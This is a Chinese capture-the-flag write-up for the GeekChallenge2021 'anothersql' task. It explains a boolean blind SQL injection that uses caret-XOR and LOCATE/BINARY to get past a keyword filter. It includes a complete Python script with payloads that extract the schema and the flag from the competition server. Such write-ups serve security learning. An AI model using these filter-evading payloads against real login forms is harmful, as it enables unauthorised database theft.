GeekChallenge2021 anothersql WP

登录界面注入uname和pwd。
随便输入 wrong username or password
输入admin 回显your uname:admin adn your pwd:123456
即使照此输入也是这个回显。

猜测布尔盲注。

首先进行一波fuzz测试:
/PIC/s19.png
这些都是被过滤了的,发现^未被过滤,尝试构造'admin'^xxx^'1'='1'的形式。

利用'admin'^0^'1'='1''admin'^1^'1'='1'验证,的确存在此类型盲注。

发现之前写的二分盲注脚本使用的>substr均被过滤,只有改成了不用二分的普通盲注,substr换成了locate函数。
LOCATE(substr,str,pos),从str的位置pos开始,匹配substr,若匹配成功就返回该子串所在原串的位置(从1开始)。比如爆破数据库的第一个字符,就可以写成:locate('t',(select database()),1)=1
爆数据库:
/PIC/s20.png

爆完数据库后发现死活爆不出来表,网上收集了一会儿信息才知道原来MySQL对字段名这些的大小写不感冒,对于's'='S'它也会认为是对的,所以考虑用binary修饰表示二进制来进行判断,这样就可以发现之前的爆出的数据库名应该都是小写。。。

然后接着爆表名、字段名,结果返回Subquery returns more than 1 row,表示返回的结果不止一个,因此可以对结果加上limit修饰,limit a,b,表示返回结果组中从a开始的b个。(a从0开始)最终得到如下结果:
/PIC/s21.png

所以直接爆破select flag from true____flag.syclover,得到:
/PIC/s22.png

脚本:

Copy
import requests Fs = "wrong" Ts = "uname:admin" url = "http://47.100.242.70:4003/check.php" def SQL_injection(url) : res = "" char_all = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~' for i in range(1,2000) : istr = 0 for x in char_all : payload_database = "admin'^(locate(binary'%c',(select database()),%d)=%d)^'1'='1" % (x, i, i) payload_all_database = "admin'^(locate(binary'%c',(select schema_name from information_schema.schemata),%d)=%d)^'1'='1" % (x, i, i) payload_table = "admin'^(locate(binary'%c',(select table_name from information_schema.tables where table_schema = 'true____flag'),%d)=%d)^'1'='1" % (x, i, i) payload_cloumn = "admin'^(locate(binary'%c',(select column_name from information_schema.columns where table_name = 'syclover' limit 3,1),%d)=%d)^'1'='1" % (x, i, i) payload_info = "admin'^(locate(binary'%c',(select flag from true____flag.syclover limit 0,1),%d)=%d)^'1'='1" % (x, i, i) payload = payload_info data = {"uname" : payload, "pwd" : "12345678", "wp-submit" : "%E7%99%BB%E5%BD%95"} #urls = url + payload resp = requests.post(url = url, data = data) if Ts in resp.text : istr = 1 res += x print(res) break if (istr == 0) : break print(res) if __name__ == "__main__" : # data = {"uname" : "admin'^(locate(binary'1',(select column_name from information_schema.columns where table_name = 'syclover' limit 0,1),1)=1)^'1'='1", "pwd" : "12345678", "wp-submit" : "%E7%99%BB%E5%BD%95"} # resp = requests.post(url = url, data = data) #print(resp.text) SQL_injection(url)
posted @   SilentEAG  阅读(176)  评论(0编辑  收藏  举报
编辑推荐:
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示